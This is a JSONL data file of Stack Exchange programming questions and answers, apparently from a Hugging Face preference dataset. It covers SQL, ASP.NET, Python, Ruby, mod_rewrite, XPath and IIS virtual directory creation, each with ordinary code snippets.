{"id": "hf_f5291c1b7a00", "question": "<p>I added the columns in the select list to the order by list, but it is still giving me the error:</p>\n\n<p>ORDER BY items must appear in the select list if SELECT DISTINCT is specified.</p>\n\n<p>Here is the stored proc:</p>\n\n<pre><code>CREATE PROCEDURE [dbo].[GetRadioServiceCodesINGroup] \n@RadioServiceGroup nvarchar(1000) = NULL\nAS\nBEGIN\nSET NOCOUNT ON;\n\nSELECT DISTINCT rsc.RadioServiceCodeId,\n                rsc.RadioServiceCode + ' - ' + rsc.RadioService as RadioService\nFROM sbi_l_radioservicecodes rsc\nINNER JOIN sbi_l_radioservicecodegroups rscg \nON rsc.radioservicecodeid = rscg.radioservicecodeid\nWHERE rscg.radioservicegroupid IN \n(select val from dbo.fnParseArray(@RadioServiceGroup,','))\nOR @RadioServiceGroup IS NULL  \nORDER BY rsc.RadioServiceCode,rsc.RadioServiceCodeId,rsc.RadioService\n\nEND\n</code></pre>\n", "question_body": "", "answer": "While they are not the same thing, in one sense\n```\nDISTINCT\n```\nimplies a\n```\nGROUP BY\n```\n, because every\n```\nDISTINCT\n```\ncould be re-written using\n```\nGROUP BY\n```\ninstead. With that in mind, it doesn't make sense to order by something that's not in the aggregate group.\nFor example, if you have a table like this:\n```\ncol1  col2\n----  ----\n 1     1\n 1     2\n 2     1\n 2     2\n 2     3\n 3     1\n```\nand then try to query it like this:\n```\n```\nSELECT DISTINCT col1 FROM [table] WHERE col2 > 2 ORDER BY col1, col2\n```\n```\nThat would make no sense, because there\ncould\nend up being multiple\n```\ncol2\n```\nvalues per row. Which one should it use for the order? Of course, in this query you know the results wouldn't be that way, but the database server can't know that in advance.\nNow, your case is a little different. You included all the columns from the\n```\norder by\n```\nclause in the\n```\nselect\n```\nclause, and therefore it would seem at first glance that they were all grouped. However, some of those columns were included in a calculated field.  When you do that in combination with distinct, the\n```\ndistinct\n```\ndirective can\nonly\nbe applied to the\nfinal results\nof the calculation: it doesn't know anything about the source of the calculation any more.\nThis means the server doesn't really know it can count on those columns any more.  It knows that they were used, but it doesn't know if the calculation operation might cause an effect similar to my first simple example above.\nSo now you need to do something else to tell the server that the columns are okay to use for ordering. There are several ways to do that, but this approach should work okay:\n```\n```\nSELECT rsc.RadioServiceCodeId,\n            rsc.RadioServiceCode + ' - ' + rsc.RadioService as RadioService\nFROM sbi_l_radioservicecodes rsc\nINNER JOIN sbi_l_radioservicecodegroups rscg \n    ON rsc.radioservicecodeid = rscg.radioservicecodeid\nWHERE rscg.radioservicegroupid IN \n    (SELECT val FROM dbo.fnParseArray(@RadioServiceGroup,','))\n    OR @RadioServiceGroup IS NULL  \nGROUP BY rsc.RadioServiceCode,rsc.RadioServiceCodeId,rsc.RadioService\nORDER BY rsc.RadioServiceCode,rsc.RadioServiceCodeId,rsc.RadioService\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:19.729497"}
{"id": "hf_0b88b2241789", "question": "<p>What is the best way to build a dynamic <em>Threaded</em> ASP.net radio button list?  I am not that familiar with <code>RadioButtonLists</code> and it is my understanding that ASP.net doesn't like the application of individual styling of <code>ListItems</code>.</p>\n", "question_body": "", "answer": "Well, why not use the\n```\nRadioButtonList\n```\ncontrol, with a\n```\nReapeatDirection=\"Horizontal\"\n```\n?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:19.774460"}
{"id": "hf_76f1503b241b", "question": "<p>Is it possible to use WSE 2.0 SP2 under VS 2008?</p>\n\n<p>I realise that the add-in (that generates the proxy classes/configuration) is not compatible but there are work-arounds to this (copying over the files from a VS 2003 solution). Our web services are relatively static so would not be making too many changes anwyay.</p>\n\n<p>We may at a future date move to WCF but taking baby-steps at the moment and want to get our existing services running under all the .NET 3.5 goodness.</p>\n", "question_body": "", "answer": "I have been able to use WSE2 under VS2005/.NET 2.0 with no problems, but I dont know specifically about 2008. I needed Dime attachments (java web service - ugh.. what a headache) which are only in WSE2.\nTo get the functionality in VS, I actually installed WSE3 and then just changed the dll referenced in the application to the WebServices2 file and all of the Imports (VB - using c#) statements. After that, it worked like a charm.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:19.837561"}
{"id": "hf_cfb42ae46f69", "question": "<p>I have some code that opens a word document using VBScript on an ASP.net page:</p>\n\n<pre><code>set objWord = CreateObject(\"Word.Application\")\n\nobjWord.Visible = True\n\nobjWord.Documents.Open \"c:\\inetpub\\wwwroot\\JSWordTest\\test.doc\", False, False, False\n</code></pre>\n\n<p>This works great but opens the word doc in another window. Ideally I would like to make this look as if it is contained in the current page perhaps in an IFrame. I have some other buttons which paste text into the word document when clicked. </p>\n\n<p>I cannot just set the src of the iframe to the word document as need a reference to the word document (objWord) to allow me to paste text into it in real time again using Vbscript to do this.</p>\n\n<p>Not sure if this is possible but any ideas/alternatives welcome?</p>\n\n<p>Requirements:\nThe word doc needs to be displayed from web browser</p>\n\n<p>At the side of the word document will be some buttons which when clicked paste text into it</p>\n", "question_body": "", "answer": "You can use this technique to get the contents of the Word document without displaying any windows at all.\n```\n```\n' Declare an object for the word application '\nSet objWord = CreateObject(\"Word.Application\")\n\nobjWord.Visible = False                 ' Don''t show word '\nobjWord.Documents.open(\"C:\\test.doc\")   ' Open document '\nobjWord.Selection.WholeStory            ' Select everything in the doc '\nstrText = objWord.Selection.Text        ' Assign document contents to var'\nobjWord.Quit False                      ' Close Word, don't save '\n```\n```\nOnce you've got the contents of the document in the variable you can do what you want with it as far as writing it out with a document.write or whatever method you want to use.\nYou can find more detail on the MS Word application object and its methods here:\nhttp://msdn.microsoft.com/en-us/library/aa221371(office.11).aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:19.862648"}
{"id": "hf_46aefd289dbc", "question": "<p>I'm using AspectJ to advice all the public methods which do have an argument of a chosen class. I tried the following:</p>\n\n<pre><code>pointcut permissionCheckMethods(Session sess) : \n    (execution(public * *(.., Session)) &amp;&amp; args(*, sess));\n</code></pre>\n\n<p>This is working wonderfully for methods with at least 2 arguments:</p>\n\n<pre><code>public void delete(Object item, Session currentSession);\n</code></pre>\n\n<p>but it does not work with methods like:</p>\n\n<pre><code>public List listAll(Session currentSession);\n</code></pre>\n\n<p>How may I change my pointcut to advice both methods executions? In other words: I expected the \"..\" wildcard to represent \"zero or more arguments\", but it looks like it means instead \"one or more\"...</p>\n", "question_body": "", "answer": "Oh well... I worked that around with this nasty trick. Still waiting for someone to show up with an \"official\" pointcut definition.\n```\n```\npointcut permissionCheckMethods(EhealthSession eheSess) : \n    (execution(public * *(.., EhealthSession)) && args(*, eheSess))\n    && !within(it.___.security.PermissionsCheck);\n\npointcut permissionCheckMethods2(EhealthSession eheSess) : \n    (execution(public * *(EhealthSession)) && args(eheSess))\n    && !within(it.___.security.PermissionsCheck)\n    && !within(it.___.app.impl.EhealthApplicationImpl);\n\nbefore(EhealthSession eheSess) throws AuthorizationException : permissionCheckMethods(eheSess)\n{\n    Signature sig = thisJoinPointStaticPart.getSignature(); \n    check(eheSess, sig);\n}\n\nbefore(EhealthSession eheSess) throws AuthorizationException : permissionCheckMethods2(eheSess)\n{\n    Signature sig = thisJoinPointStaticPart.getSignature(); \n    check(eheSess, sig);\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:19.899391"}
{"id": "hf_44fb74e7d4bb", "question": "<p>What is exactly the function of Python's Global Interpreter Lock?\nDo other languages that are compiled to bytecode employ a similar mechanism?</p>\n", "question_body": "", "answer": "The following is from the\nofficial Python/C API Reference Manual\n:\nThe Python interpreter is not fully\n  thread safe. In order to support\n  multi-threaded Python programs,\n  there's a global lock that must be\n  held by the current thread before it\n  can safely access Python objects.\n  Without the lock, even the simplest\n  operations could cause problems in a\n  multi-threaded program: for example,\n  when two threads simultaneously\n  increment the reference count of the\n  same object, the reference count could\n  end up being incremented only once\n  instead of twice.\nTherefore, the rule exists that only\n  the thread that has acquired the\n  global interpreter lock may operate on\n  Python objects or call Python/C API\n  functions. In order to support\n  multi-threaded Python programs, the\n  interpreter regularly releases and\n  reacquires the lock -- by default,\n  every 100 bytecode instructions (this\n  can be changed with\n  sys.setcheckinterval()). The lock is\n  also released and reacquired around\n  potentially blocking I/O operations\n  like reading or writing a file, so\n  that other threads can run while the\n  thread that requests the I/O is\n  waiting for the I/O operation to\n  complete.\nI think it sums up the issue pretty well.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:19.924052"}
{"id": "hf_a2c560867529", "question": "<p>In Python 2.6, a new \"timeout\" parameter was added to the httplib.HTTPConnection class:\n<a href=\"http://docs.python.org/library/httplib.html#httplib.HTTPConnection\" rel=\"nofollow noreferrer\">http://docs.python.org/library/httplib.html#httplib.HTTPConnection</a></p>\n\n<p>However, this is only a timeout for the connection to a server.  I am looking to set a timeout value for the <b>request</b>, not the connection.  This doesn't seem to be supported by httplib.</p>\n\n<p>Is there any way to emulate this behavior?</p>\n", "question_body": "", "answer": "You can set a global socket timeout\n(*)\n:\n```\n```\nimport socket\n\ntimeout = 10\nsocket.setdefaulttimeout(timeout)\n```\n```\n(*)\nEDIT\n: As people in the comments correctly point out: This is technically true, but it only has predictable results for tasks that involve a single socket operation. An HTTP request consists of multiple socket operations (e.g. DNS requests or other things that might be abstracted away from an HTTP client). The timeout of the overall operation becomes unpredictable because of that.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:19.985388"}
{"id": "hf_5aa852fb7690", "question": "<p>I have some constants that represent the valid options in one of my model's fields. What's the best way to handle these constants in Ruby?</p>\n", "question_body": "", "answer": "I put them directly in the model class, like so:\n```\n```\nclass MyClass < ActiveRecord::Base\n  ACTIVE_STATUS = \"active\"\n  INACTIVE_STATUS = \"inactive\"\n  PENDING_STATUS = \"pending\"\nend\n```\n```\nThen, when using the model from another class, I reference the constants\n```\n```\n@model.status = MyClass::ACTIVE_STATUS\n@model.save\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:20.024040"}
{"id": "hf_f718e51461c4", "question": "<p>Consider the following code:</p>\n\n<pre><code>&lt;a href=\"#label2\"&gt;GoTo Label2&lt;/a&gt;\n... [content here] ...\n&lt;a name=\"label0\"&gt;&lt;/a&gt;More content\n&lt;a name=\"label1\"&gt;&lt;/a&gt;More content\n&lt;a name=\"label2\"&gt;&lt;/a&gt;More content\n&lt;a name=\"label3\"&gt;&lt;/a&gt;More content\n&lt;a name=\"label4\"&gt;&lt;/a&gt;More content\n</code></pre>\n\n<p>Is there a way to emulate clicking on the \"GoTo Label2\" link to scroll to the appropriate region on the page through code?</p>\n\n<p><strong>EDIT</strong>: An acceptable alternative would be to scroll to an element with a unique-id, which already exists on my page.  I would be adding the anchor tags if this is a viable solution.</p>\n", "question_body": "", "answer": "I suppose this will work:\n```\n```\nwindow.location=\"<yourCurrentUri>#label2\";\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:20.150521"}
{"id": "hf_b4470a9c0de5", "question": "<p>I have a control that is basically functioning as a client-side timer countdown control.</p>\n\n<p>I want to fire a server-side event when the count down has reached a certain time.</p>\n\n<p>Does anyone have an idea how this could be done?</p>\n\n<p>So, when timer counts down to 0, a server-side event is fired.</p>\n", "question_body": "", "answer": "When you render the page create a client-side button that would do the action you want on postback. Then use\nClientScriptManager.GetPostBackEventReference\npassing in the control as reference and add a client-side event to it using attributes as the example at the bottom of that link shows.\nYou can then see the Javascript it renders and use that in your function to trigger the correct server-side event.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:20.197339"}
{"id": "hf_c7f99073afa8", "question": "<p>I have a dataset that contains 2 datatables they link together using a DataRelation.</p>\n\n<p>it it possible to select from those tables into into one result set? </p>\n\n<p>thanks,\nOfer</p>\n", "question_body": "", "answer": "You can create JOIN tables with the VS DataSet editor, whcih combine your results - you can then write Select queries against that and call them from within your app.\nTo do it, simply create a new TableAdapter, then add BOTH tables into the editor (use the visual one), and select the fields you want to use from both tables, then write the relevant select functions.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:20.244346"}
{"id": "hf_c532e90c9144", "question": "<p>Usually, I need to retrieve data from a table in some range; for example, a separate page for each search result. In MySQL I use LIMIT keyword but in DB2 I don't know. Now I use this query for retrieve range of data.</p>\n\n<pre><code>SELECT * \nFROM(\n   SELECT  \n      SMALLINT(RANK() OVER(ORDER BY NAME DESC)) AS RUNNING_NO\n      , DATA_KEY_VALUE\n      , SHOW_PRIORITY\n   FROM \n      EMPLOYEE\n   WHERE \n      NAME LIKE 'DEL%'\n   ORDER BY\n      NAME DESC\n   FETCH FIRST 20 ROWS ONLY\n) AS TMP\nORDER BY \n  TMP.RUNNING_NO ASC\nFETCH FIRST 10 ROWS ONLY\n</code></pre>\n\n<p>but I know it's bad style. So, how to query for highest performance?</p>\n", "question_body": "", "answer": "Not sure why you are creating the TMP table.  Isn't RUNNING_NO aready in ascending sequence?  I would think:\n```\n```\nSELECT SMALLINT(RANK() OVER(ORDER BY NAME DESC)) AS RUNNING_NO,\n       DATA_KEY_VALUE,\n       SHOW_PRIORITY\n  FROM EMPLOYEE\n WHERE NAME LIKE 'DEL%'\n ORDER BY NAME DESC\n FETCH FIRST 10 ROWS ONLY\n```\n```\nwould give the same results.\nHaving an INDEX over NAME on the EMPLOYEE table will boost performance of this query.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:20.292999"}
{"id": "hf_fba2c971445b", "question": "<p>I am interested in using/learning RoR in a project where I have to use a .NET dll. Is Ruby capable of importing a .NET dll?</p>\n", "question_body": "", "answer": "If you use IronRuby (Ruby implementation built on .Net) then it should be able to.  If you're already using .Net and want to try out Ruby then you might want to look into IronRuby.\nOutside of IronRuby I'm not sure.  I haven't used Ruby myself, so I don't know what kinds of things it's capable of.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:20.343970"}
{"id": "hf_3de94dc427b3", "question": "<p>I'm coding a small CMS to get a better understanding of how they work and to learn some new things about PHP. I have however come across a problem.</p>\n\n<p>I want to use mod_rewrite (though if someone has a better solution I'm up for trying it) to produce nice clean URLs, so site.com/index.php?page=2 can instead be site.com/tools</p>\n\n<p>By my understanding I need to alter my .htaccess file each time I add a new page and this is where I strike a problem, my PHP keeps telling me that I can't update it because it hasn't the permissions. A quick bit of chmod reveals that even with 777 permissions it can't do it, am I missing something?</p>\n\n<p>My source for mod_rewrite instructions is currently <a href=\"http://wettone.com/code/clean-urls\" rel=\"noreferrer\">this page here</a> incase it is important/useful.</p>\n", "question_body": "", "answer": "One approach is to rewrite everything to a handling script\n```\n```\nRewriteEngine on\nRewriteBase /\n\n# only rewrite if the requested file doesn't exist\nRewriteCond %{REQUEST_FILENAME} !-s \n\n# pass the rest of the request into index.php to handle     \nRewriteRule ^(.*)$ /index.php/$1 [L]\n```\n```\nso if you have a request to\nhttp://yourserver/foo/bar/\nwhat you actually get is a request to\nhttp://yourserver/index.php/foo/bar\n- and you can leave index.php to decide what to do with /foo/bar (using $_SERVER['PATH_INFO'] -\ntom\n)\nYou only need to modify .htaccess the first time. All future requests for inexistent files can then be handled in PHP.\nYou might also find\nthe docs for mod_rewrite\nuseful - but keep it simple or prepare to lose a lot of sleep and hair tracking down obscure errors.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:20.394999"}
{"id": "hf_7b368c03cefb", "question": "<p>I'm generating and showing a new WinForms window on top of a Main Window. How can I achieve that the original (Main Window) keeps the focus? Setting the focus back after showing the new window does not solve my problem because I need to prevent the Main Window's title bar from flickering. The new window has to stay on top of the Main Window so I have to set topMost=true. However, this makes no difference for the problem I think.</p>\n\n<p>Thank you!</p>\n", "question_body": "", "answer": "Setting the focus after you show the new form works fine. My taskbar does not flicker.\n```\n```\nprivate void button1_Click(object sender, EventArgs e)\n{\n     Form2 f2 = new Form2();\n     f2.TopMost = true;\n     f2.Show();\n     this.Focus();            \n}\n```\n```\nCan I ask why you want to set the focus back on the main form because the new form will, by default, draw on top of the main window and you'll have to close or move the new form to view the main window.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:20.469269"}
{"id": "hf_c066f6d12a96", "question": "<p>Basically, I would like to check if I have rights to open the file before I actually try to open it; I do not want to use a try/catch for this check unless I have to. Is there a file access property I can check before hand?</p>\n", "question_body": "", "answer": "I have done this countless times in the past, and nearly every time I was wrong to even make the attempt.\nFile permissions (even file existence) are\nvolatile\n— they can change at any time.  Thanks to Murphy's Law this\nespecially\nincludes the brief period between when you check the file and when you try to open it. There are other reasons this can fail, too, such as locking or network availability and path resolution. An errant result is even more likely if you're in an area where you know you need to check first. Yet strangely enough it will never happen in your testing or development environments, which tend to be fairly static. This makes the problem difficult to track down later and makes it easy for this kind of bug to make it into production.\nWhat this means is you must still be ready to handle the exception if file permissions or existence are bad, in spite of your check. Exception handling code is\nrequired\n, whether or not you check the file in advance, and good exception handler can provide\nall\nof the functionality of existence or permissions checks.\nBut isn't exception handling slow? I'm glad you asked. Yes, yes it is. In fact, unwinding the stack to handle an exception is up there with the slowest stuff you can do inside a single computer. However, it's important to remember that disk I/O is even slower — a\nlot\nslower — and calling the\n```\n.Exists()\n```\nfunction or checking permissions will always force an additional I/O operation on the file system.\nTherefore, we see an initial check before trying to open the file is both redundant and wasteful. There is no additional benefit over exception handling. It will actually hurt, not help, your performance. It adds cost in terms of more code that must be maintained. Finally, it can introduce subtle bugs. There is just no upside at all to doing the initial check.\nInstead, the correct thing here is immediately trying to open the file, with no initial check, and putting your effort into a good exception handler if it fails. The same is true whether you're checking permissions, locking, or even just whether or not the file exists.\nIn summary: the choice is paying the extra cost for file check every time with more code, or paying the smaller-but-still-bad cost for exception handling only some of the time and with less code.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:20.522944"}
{"id": "hf_0814e8dd7869", "question": "<p>I am pretty new to php, but I am learning! I have a simple form on a client website. I am testing the form and when I click submit, I get the following error:</p>\n<p>Form Mail Script</p>\n<pre><code>Wrong referrer (referring site). For security reasons the form can only be used, if the referring page is part of this website.\n\nNote for the Admin: Please add the name of your server to the referrer variable in the index.php configuration file: mywebsite.com\n</code></pre>\n<p>Powered by Form Mail Script</p>\n<p>I am looking through the forms configuration and support files but I do not understand exactly what it is I need to change.</p>\n<p>Can someone please explain to me what the Admin note above means and how to fix it?</p>\n", "question_body": "", "answer": "You are obviously using the Form Mail script on your page. It has a security feature that prevents other domains from submitting to the form. This is done to prevent bots from using the script to send out spam.\nIn the configuration for the form mail script or in the script itself, you will find an array or variable with the referrers listed. This is the sites that you want to allow calling of this form mail. You should add your own domain to this list or assign it to this variable.\nSorry, I haven't used this script, so I can't be more specific.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:20.548688"}
{"id": "hf_11620f260cdf", "question": "<p>It seems like there should be a simpler way than:</p>\n\n<pre><code>import string\ns = \"string. With. Punctuation?\" # Sample string \nout = s.translate(string.maketrans(\"\",\"\"), string.punctuation)\n</code></pre>\n\n<p>Is there?</p>\n", "question_body": "", "answer": "Not necessarily simpler, but a different way, if you are more familiar with the re family.\n```\n```\nimport re, string\ns = \"string. With. Punctuation?\" # Sample string \nout = re.sub('[%s]' % re.escape(string.punctuation), '', s)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:20.574012"}
{"id": "hf_918aa9c48fb6", "question": "<p>Let's say we have defined a CSS class that is being applied to various elements on a page.</p>\n\n<pre><code>colourful\n{\n    color: #DD00DD;\n    background-color: #330033;\n}\n</code></pre>\n\n<p>People have complained about the colour, that they don't like pink/purple. So you want to give them the ability to change the style as they wish, and they can pick their favourite colours. You have a little colour-picker widget that invokes a Javascript function:</p>\n\n<pre><code>function changeColourful(colorRGB, backgroundColorRGB)\n{\n    // answer goes here\n}\n</code></pre>\n\n<p>What goes in the body of that function?</p>\n\n<p>The intent being that when the user picks a new colour on the colour-picker all the elements with <code>class=\"colourful\"</code> will have their style changed.</p>\n", "question_body": "", "answer": "Something like\n```\n```\nfunction changeColourful(colorRGB, backgroundColorRGB)\n {changeColor (document, colorRGB, backgroundColorRGB)}\n\nfunction changeColor (node, color, changeToColor)\n{\n   for(var ii = 0 ; ii < node.childNodes.length; ii++)\n   {\n     if(node.childNodes[ii].childNodes.length > 0)\n     {\n        changeColor(node.childNodes[ii], color, changeToColor);\n     }\n\n      if(node[ii].style.backgroundColor == color)\n      {\n        node[ii].style.backgroundColor = changeToColor;\n      }\n\n   }\n\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:20.637788"}
{"id": "hf_b9e5fae9432e", "question": "<p>I'm using this XPath to get the value of a field:</p>\n\n<pre class=\"lang-none prettyprint-override\"><code>//input[@type=\"hidden\"][@name=\"val\"]/@value\n</code></pre>\n\n<p>I get several results, but I only want the first. Using</p>\n\n<pre class=\"lang-none prettyprint-override\"><code>//input[@type=\"hidden\"][@name=\"val\"]/@value[1]\n</code></pre>\n\n<p>Doesn't work. Once I have this, how do I pick up the value in Greasemonkey? I am trying things like:</p>\n\n<pre><code>alert(\"val \" + val.snapshotItem);\n</code></pre>\n\n<p>But I think that's for the node, rather than the string.</p>\n", "question_body": "", "answer": "For the XPath, try:\n```\n//input[@type=\"hidden\" and @name=\"val\" and position() = 1]/@value\n```\nFor use in a GreaseMonkey script, do something like this:\n```\n```\nvar result = document.evaluate(\n  \"//input[@type='hidden' and @name='var' and position()=1]/@value\",\n  document, null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null\n);\n\nvar hiddenval = result.snapshotItem(0);\n\nif (hiddenval)\n  alert(\"Found: \" + hiddenval.nodeValue);  \nelse\n  alert(\"Not found.\");\n```\n```\nStrictly speaking: Using\n```\n\"position()=1\"\n```\nin the XPath filter is not absolutely necessary, because only the first returned result is going to be used anyway (via\n```\nsnapshotItem(0)\n```\n). But why build a larger result set than you really need.\nEDIT: Using an XPath result of the\n```\nORDERED_NODE_SNAPSHOT_TYPE\n```\ntype makes sure you get the nodes in\ndocument order\n. That means the first node of the result will also be the first node in the document.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:20.662556"}
{"id": "hf_99ec32a69a2f", "question": "<p>Just looking for the relevant documentation.  An example is not necessary, but would be appreciated.  </p>\n\n<p>We have a situation where we are having to create 100s of virtual directories manually, and it seems like automating this would be a good way to make the process more efficient for now.  </p>\n\n<p>Perhaps next year we can rework the server environment to allow something more sane, such as URL rewriting (unfortunately this does not seem feasible in the current cycle of the web application).  Isn't it great to inherit crap code?</p>\n\n<p>~ William Riley-Land</p>\n", "question_body": "", "answer": "NOT TESTED (from an old code base and written by a former contractor of mine)\n```\n```\nusing System;\nusing System.Collections.Generic;\nusing System.Text;\nusing System.DirectoryServices;\nusing System.IO;\n\nnamespace Common.DirectoryServices\n{\n    public class IISManager\n    {\n\n        private string _webSiteID;\n\n        public string WebSiteID\n        {\n            get { return _webSiteID; }\n            set { _webSiteID = value; }\n        }\n\n        private string _strServerName;\n        public string ServerName\n        {\n            get\n            {\n                return _strServerName;\n            }\n            set\n            {\n                _strServerName = value;\n            }\n        }\n\n        private string _strVDirName;\n        public string VDirName\n        {\n            get\n            {\n                return _strVDirName;\n            }\n            set\n            {\n                _strVDirName = value;\n            }\n        }\n\n        private string _strPhysicalPath;\n        public string PhysicalPath\n        {\n            get\n            {\n                return _strPhysicalPath;\n            }\n            set\n            {\n                _strPhysicalPath = value;\n            }\n        }\n\n        private VDirectoryType _directoryType;\n        public VDirectoryType DirectoryType\n        {\n            get\n            {\n                return _directoryType;\n            }\n            set\n            {\n                _directoryType = value;\n            }\n        }\n\n        public enum VDirectoryType\n        {\n            FTP_DIR, WEB_IIS_DIR\n        };\n\n        public string CreateVDir()\n        {\n            System.DirectoryServices.DirectoryEntry oDE;\n            System.DirectoryServices.DirectoryEntries oDC;\n            System.DirectoryServices.DirectoryEntry oVirDir;\n            //try\n           // {\n                //check whether to create FTP or Web IIS Virtual Directory\n                if (this.DirectoryType == VDirectoryType.WEB_IIS_DIR)\n                {\n                    oDE = new DirectoryEntry(\"IIS://\" +\n                          this._strServerName + \"/W3SVC/\" + _webSiteID + \"/Root\");\n                }\n                else\n                {\n                    oDE = new DirectoryEntry(\"IIS://\" +\n                          this._strServerName + \"/MSFTPSVC/1/Root\");\n                }\n\n                //Get Default Web Site\n                oDC = oDE.Children;\n\n                //Add row\n                oVirDir = oDC.Add(this._strVDirName,\n                          oDE.SchemaClassName.ToString());\n\n                //Commit changes for Schema class File\n                oVirDir.CommitChanges();\n\n                //Create physical path if it does not exists\n                if (!Directory.Exists(this._strPhysicalPath))\n                {\n                    Directory.CreateDirectory(this._strPhysicalPath);\n                }\n\n                //Set virtual directory to physical path\n                oVirDir.Properties[\"Path\"].Value = this._strPhysicalPath;\n\n                //Set read access\n                oVirDir.Properties[\"AccessRead\"][0] = true;\n\n                //Create Application for IIS Application (as for ASP.NET)\n                if (this.DirectoryType == VDirectoryType.WEB_IIS_DIR)\n                {\n                    oVirDir.Invoke(\"AppCreate\", true);\n                    oVirDir.Properties[\"AppFriendlyName\"][0] = this._strVDirName;\n                }\n\n                //Save all the changes\n                oVirDir.CommitChanges();\n\n                return null;\n\n           // }\n            //catch (Exception exc)\n            //{\n             //   return exc.Message.ToString();\n            //}\n        }\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:20.713359"}
